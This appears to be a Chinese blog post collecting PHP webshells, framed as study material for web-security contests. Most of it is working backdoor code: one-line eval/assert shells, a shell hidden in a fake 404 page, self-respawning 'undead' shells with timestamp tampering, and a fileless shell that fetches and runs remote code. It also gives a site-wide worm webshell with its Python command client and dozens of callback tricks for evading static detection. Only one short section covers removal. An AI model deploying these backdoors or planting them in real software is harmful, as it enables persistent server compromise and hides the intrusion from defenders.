整理汇总网络上常见的php_webshell进行学习分析。提升作为web狗的修养hhhhh

mua😘分类

一句话木马

1
<?php @eval($_POST['pass']); ?>

eval : PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为 PHP 代码执行

1
<?php assert($_REQUEST["pass"]);?>	

assert: PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8 版本后可以接受两个参数

1
<?=`$_GET[1]`;

最短一句话

image-20211123201030566

image-20211123201044588

404.php,利用404隐藏一句话

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['pass'],"saft");

header('HTTP/1.1 404 Not Found');
?>

e模式, 只限用于preg_replace()函数,把替换的字符串中的内容当成一个PHP表达式。

1
@preg_replace("/[ZnF1cG5ncW4=]/e",$_POST['pass'],"YWdhah");

image-20211123225535738

小马

主要完成文件上传功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("content-Type: text/html; charset=utf-8");
?>
<?
echo
"</br>获取服务器IP地址: ".$_SERVER['HTTP_HOST'].
"</br>获取服务信息: ".apache_get_version();
?>
<form method="POST"></br>
shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存" >
<form>
<?php
error_reporting(0);
if ($_POST){
$f=fopen($_POST["file"],"w");
echo fwrite($f,$_POST["text"])? '保存成功!' : '保存失败!';
}
?>

image.png

需要权限windows下成功率比较高

大马

现在用的比较少了

习科v5.6.zip

shell.php

不死马

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'Validator.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .Validator.php');
usleep(5000);
}
?>

ignore_user_abort() 可以实现当客户端关闭后仍然可以执行PHP代码,可保持PHP进程一直在执行,可实现所谓的计划任务功能与持续进程,只需要开启执行脚本,除非 apache等服务器重启或有脚本有输出,该PHP脚本将一直处于执行的状态,初看很实用,不过代价是一个PHP执行脚本的持续进程,开销很大,但却可以 实现很多意想不到的功能。
set_time_limit(0)表示长时间链接运行,不限制页面运行时间
unlink(__FILE__);删除文件本身,起到隐蔽自身的作用
while 循环内每间隔usleep(5000);即写入新的后门文件
system()执行的命令用于修改文件的创建时间,可以绕过find –name '*.php' –mmin -10命令检测最近10分钟修改或新创建的php文件,但不一定有用,可选。
1a1dc91c907325c69271ddf0c944bc72-->pass

网上流传的不死马, while 里面只是并没有判断了这个文件是不是存在

那么我只需要把这个文件中的 shell 注释掉就可以绕过你的内存木马了

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
while(true) {
if(md5(file_get_contents($file)) != md5($code)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
1
PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+`-->`<?php eval($_POST[c]);?>

image-20211129195604958

image-20211129195926939

不死性

image-20211129200148731

查杀方法

  1. 如果允许,重启服务是万能的;

  2. 其次,最好的解决方案是kill掉www-data用户的所有子进程(最有效,但是客户可能会让你赔钱):

1
ps aux | grep www-data | awk '{print $2}' | xargs kill -9

image-20211129200401882

  1. 创建一个和不死马生成的马一样名字的目录;(收效甚微)
image-20211129204357014
  1. 写脚本一直删除木马文件。

无文件马

自删除的木马,在运行一次后会将自身文件删除,但将某些代码运行至进程中

1
2
3
4
5
6
7
8
9
10
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);

$remote_file = 'http://127.0.0.1/eval.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};

eval.txt

1
file_put_contents('1.txt','hello world '.time());

image-20211201103244907

$_SERVER['SCRIPT_FILENAME']__FILE__ 的区别

相同点

通常情况下,PHP $_SERVER['SCRIPT_FILENAME']__FILE__ 都会返回 PHP 文件的完整路径(绝对路径)与文件名:

1
2
3
4
5
<?php
echo 'SCRIPT_FILENAME 为:',$_SERVER['SCRIPT_FILENAME'];
echo '<br />';
echo '__FILE__ 为:',__FILE__;
?>

SCRIPT_FILENAME 为:/var/www/app/5.php
__FILE__ 为:/var/www/app/5.php

不同点

尽管 $_SERVER['SCRIPT_FILENAME']__FILE__ 非常相似,但在文件被 includerequire包含的时候,二者的差别是:$_SERVER['SCRIPT_FILENAME'] 反映的是当前执行程序的绝对路径及文件名;__FILE__ 反映的是原始文件(被包含文件)的绝对路径及文件名。

蠕虫webshell

功能

  1. 递归扫描所有web目录及文件,全部扫到的php写入webshell
  2. 网站全部php可作为webshell连接执行命令
  3. 不带参数请求又可以正常访问原页面,不影响访问
  4. 所有web路径目录写入单独一个特定webshell
  5. 判断是否写过不再重复写入
  6. 所有php页面都可以互相复活蠕虫webshell
  7. 蠕虫webshell返回所有php文件url地址
  8. 蠕虫webshell发送返回数据传输加密
  9. 数字签名校验执行、5秒后不可重放 后续添加
  10. 页面功能性可控(可以使全部php原有功能失效,只剩下webshell功能)
  11. 前端互相复活以及反渗透
  12. 适配meterpreter连接
  13. 加密混淆

带一个参数访问我的webshell,全站的php文件都被我感染,都可以当webshell连,都可以执行命令,只要带一个参数访问都可以互相复活。

扫描从函数scandir替换为is_dir()

操作过程

假设shell.php已经上传到目录,上传目录为upload,ip为192.168.1.1

  1. 访问http://192.168.1.1/upload/shell.php正常不带参数访问是返回状态码500,页面会正常访问

  2. 带参数下划线访问,会自动感染全站php文件,所有php可以当shell连接

    eg:http://192.168.1.1/upload/shell.php?_

  3. 如上带下划线参数访问后,右键查看页面源代码可以看到所有被感染的php地址。

  4. 可以使用python把所有url爬下来,爬取规则:

1
checks_arr = html.find_all(attrs={'id': 'php_url'})

服务端代码

来自于 3s_NWGeek 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
<?php
$tips = 'AWD_Light_Check';
//这个是后面检查的是否感染头,如果没有,就会重写这个php
error_reporting(0);
$Serv_Num = 159;
//这个变量是要写入其他文件头部的本页行数,因为感染了其他php要互相感染,不能把其他原有php代码写入到其他php,会乱套。
$arr_dir = array();
//全局变量,扫到的文件夹
$files = array();
//全局变量,扫到的文件
if (!function_exists('Url_Check')) {
function Url_Check()
{
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {
$pageURL .= "s";
}
$pageURL .= '://';
$pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
return $pageURL;
}
function file_check($dir)
{
//扫描文件夹
global $arr_dir;
global $files;
if (is_dir($dir)) {
if ($handle = opendir($dir)) {
while (($file = readdir($handle)) !== false) {
if ($file != '.' && $file != "..") {
if (is_dir($dir . "/" . $file)) {
$arr_dir[] = $dir;
$files[$file] = file_check($dir . "/" . $file);
//拼接文件
} else {
$arr_dir[] = $dir;
$files[] = $dir . "/" . $file;
}
}
}
}
}
closedir($handle);
$arr_dir = array_unique($arr_dir);
//去重
}
function write_conf()
{
#每个目录创一个马
global $Serv_Num;
global $arr_dir;
foreach ($arr_dir as $dir_path) {
// echo '<br>'.$dir_path;
$srcode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$srcode .= $localtext[$i];
}
//所有文件夹都生成一个webshell
// echo "<span style='color:#666'></span> " . $dir_path . "/.Conf_check.php" . "<br/>";
$le = Url_Check();
echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>';
fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode);
}
// 当前目录所有php被感染
}
function vul_tran()
{
//每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身固定的代码插入到其他php文件中,甚至可以加注释符号或者退出函数exit();控制其他页面的可用性。不过要注意一下,是当前目录,这样响应速度会快很多,亲测如果是一次性感染全部目录的php文件后续会引发py客户端响应超时及其他bug,所以改过来了。
//######
global $Serv_Num;
$pdir = dirname(__FILE__);
//要获取的目录
//先判断指定的路径是不是一个文件夹
if (is_dir($pdir)) {
if ($dh = opendir($pdir)) {
while (($fi = readdir($dh)) != false) {
//文件名的全路径 包含文件名
$file_Path = $pdir . '/' . $fi;
if (strpos($file_Path, '.php')) {
//筛选当前目录.php后缀
$le = Url_Check();
$file_Path = str_replace('\\', '/', $file_Path);
echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>';
$ftarget = file($file_Path);
if (!strpos($ftarget[0], 'AWD_Light_Check')) {
//检查头部是否传播
$scode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$scode .= $localtext[$i];
}
$code_check = '';
$file_check = fopen($file_Path, "r");
//复制要传播的文件代码,进行重写
while (!feof($file_check)) {
$code_check .= fgets($file_check) . "\n";
}
fclose($file_check);
$webpage = fopen($file_Path, "w");
fwrite($webpage, $scode . $code_check);
fclose($webpage);
}
}
}
closedir($dh);
}
}
}
}
///////////////////////////////////////////////////////////////////////////////////
//主函数
try {
//定义特征才启动传播模式,特征值为_
if (isset($_GET['_'])) {
$host = Url_Check();
file_check($_SERVER['DOCUMENT_ROOT']);
//全局扫描
write_conf();
//写入单文件
vul_tran();
//感染当前目录
} elseif (isset($_GET['time']) && isset($_GET['salt']) && isset($_GET['sign'])) {
#客户端数字签名校验
$Check_key = '9c82746189f3d1815f1e6bfe259dac29';
$Check_api = $_GET['check'];
$timestamp = $_GET['time'];
$salt = $_GET['salt'];
$csign = $_GET['sign'];
$sign = md5($Check_api . $Check_key . $timestamp . $salt);
if ($sign === $csign) {
$nomal_test = '';
for ($i = 0; $i < strlen($Check_api); $i++) {
$nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt);
}
$nomal_test = base64_decode($nomal_test);
$nowtime = time();
if (abs($nowtime - $timestamp) <= 5) {
$enc = base64_encode(rawurlencode(`{$nomal_test}`));
//解密并执行命令在加密返回
$pieces = explode("i", $enc);
$final = "";
foreach ($pieces as $val) {
$final .= $val . "cAFAcABAAswTA2GE2c";
}
$final = str_replace("=", ":kcehc_revres", $final);
echo strrev(substr($final, 0, strlen($final) - 18));
exit;
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} catch (Exception $e2) {
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python2.7
# -*- coding:utf-8 -*-
from urllib import unquote
import base64
import time
from random import random
from hashlib import md5
import requests
import traceback

passwd = 'admin'
webshell_url = 'http://192.168.75.134/wuhen.php'
cmd = 'ifconfig'


def getSerTime(url):
ser_time_format = '%a, %d %b %Y %H:%M:%S GMT'
r = requests.get(url, allow_redirects=False)
if r.headers['Date']:
stimestrp = time.strptime(r.headers['Date'], ser_time_format)
stime = time.mktime(stimestrp) + 60 * 60 * 8 # GMT + 8 时区
timeskew = int(time.time()) - int(stime)
return timeskew
else:
return None


# 加密
def encrypt(string, salt, encoding='utf-8'):
estring = ''
b64string = base64.b64encode(string.encode(encoding)).decode('utf-8')
for n, char in enumerate(b64string):
estring += chr(ord(char) ^ n % salt)
return estring


# 解密
def decrypt(estring, salt, encoding='utf-8'):
data = estring[::-1].replace('cAFAcABAAswTA2GE2c', 'i').replace(':kcehc_revres', '=').encode(
'unicode_escape').decode("string_escape")
string = unquote(base64.urlsafe_b64decode(data))
string = unicode(string, "gb2312").encode("utf8") # windows有中文乱码去掉这个注释,linux去掉这行,不然会报错
return string


# 命令执行
def excmd(url, passwd, cmd, encoding='utf-8'):
try:
timeskew = getSerTime('/'.join(url.split('/')[:-1]))
# 校对服务器时间,防止时间差造成API校验失败
nowtime = int(time.time())
if timeskew == None:
print('检查服务器时间出错,请手动确认服务器时间!')
# 手动获取服务器时间戳,并保存到servtime变量中,int类型
# Linux下获取方法:date +%s
servtime = 1540891350
nowtime = servtime
else:
nowtime -= timeskew
# 开始发起请求
passwd = md5(passwd.encode('utf-8')).hexdigest()
salt = int(random() * 100)
ecmd = encrypt(cmd, salt)
sign_tmp = ecmd + passwd + str(nowtime) + str(salt)
sign = md5(sign_tmp.encode('utf-8')).hexdigest()
parameters = {
'time': nowtime,
'check': ecmd,
'salt': salt,
'sign': sign
}
head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'}
r = requests.get(url, params=parameters, headers=head, timeout=3)
# r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}),
if '0:' in r.text: print
'执行成功:',
res = decrypt(r.content.decode('utf-8').replace('0:', ''), salt, encoding)
return res
except Exception as e:
pass
# print('参数配置错误,连接异常err:%s'%str(e))
traceback.print_exc()


def main():
r = excmd(webshell_url, passwd, cmd)
print(r)


if __name__ == '__main__':
main()

动态特性类

可变变量

允许我们动态地改变一个变量的名称

1
2
3
<?
$a='b';
$$a='c';

等价于:

1
2
<?
$b='c';

双刀大法

1
2
3
4
5
<?php
$b = "assert";
$a = 'b';
$$a($_POST['pass']);
?>

可变函数

如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它利用可变函数,我们可以将函数名也作为参数进行传递,避免敏感关键字被静态检测识别出来

1
<?php @$_GET['a']($_POST['pass']);?>

image-20211201140328774

一般都是使用assert,因为eval不能被可变函数调用

回调函数

回调函数是指调用函数的时候,将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数。使用回调函数是为了可以将一段自己定义的功能传到函数内部使用。

1
<?php @call_user_func('assert', $_REQUEST['pass']); ?>

call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。

1
<?php @call_user_func_array('assert', array($_REQUEST['pass'])); ?>

在php中回调函数很多,含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的

image-20211201162038405

php5.4.8+ assert支持两个参数

uasort

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

后门在php5.3时会报错,提示assert只能有一个参数

uksort

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

面向对象的方法

1
2
3
4
5
6
7
8
<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

array_reduce/array_map

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

array_udiff

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

三个参数的回调

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

上面说过

一个参数:assert
两个参数:assert (php5.4.8+)
三个参数:preg_replace /e模式

e=preg_replace /e模式, 只限用于preg_replace()函数,把替换的字符串中的内容当成一个PHP表达式。

array_walk_recursive同

正则e模式

mb_ereg_replace

1
2
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

preg_filter

1
2
<?php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

其他回调

register_shutdown_function

1
2
3
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

register_tick_function

1
2
3
4
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

filter_var

1
2
3
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

mb_ereg_replace_callback

1
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

set_exception_handler

1
2
set_exception_handler(create_function('','return assert($_GET[k]);'));
throw new exception();

forward_static_call

1
2
3
4
5
6
7
8
class a
{
public function __construct($args)
{
forward_static_call('assert',$args);
}
}
new a($_POST[k]);

iterator_apply

1
iterator_apply(new arrayiterator(array($_GET['k'])),create_function('Iterator $i','assert($i->current());'),array(new arrayiterator(array($_GET['k']))));

array_intersect_ukey

1
array_intersect_ukey(array($_GET['k']=>'1'),array($_GET['k']=>'1'),'assert');

array_uintersect_uassoc

1
array_uintersect_uassoc(array($_GET[k]),array(''),'assert','strstr');

array_intersect_uassoc

1
array_intersect_uassoc(array($_POST['k']=>''),array(''),'assert');

filter_var

1
filter_var("phpinfo();" ,1024, array("options" => "assert"));

filter_var_array

1
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

preg_replace_callback

1
preg_replace_callback('/. /i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

无回显回调后门ob_start

1
2
3
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

create_function创建回调函数

1
2
3
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

CallbackFilterIterator创建回调函数

1
2
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {echo $item;}

session_set_save_handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function test($para)
{
session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
@session_start(); // 打开会话
}
$session = base64_decode($_REQUEST['id']);
// open第一个被调用,类似类的构造函数
function open($save_path, $session_name)
{
}
// close最后一个被调用,类似 类的析构函数
function close()
{
}
// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
session_id($_REQUEST['op']);
function write($id, $sess_data)
{
}
function destroy($id)
{
}
function gc()
{
}
// 第三个参数为read read(string $sessionId)
test($session);

扩展中的回调函数如sqlite/pdo/yaml/memcached等

PDO数据库回调

1
2
3
4
5
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

SQLite3 数据库回调

1
2
3
4
5
6
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

php_yaml库

1
2
3
4
5
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|. |e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

反射技术

1
2
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));

xx.com/shell.php?m=assert&c=phpinfo();

反序列化

1
2
3
4
5
6
7
8
9
class foo{
public $data="text";
function __destruct()
{
eval($this->data);
}
}
$file_name=$_GET['id'];
unserialize($file_name);
1
shell.php?id=id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";}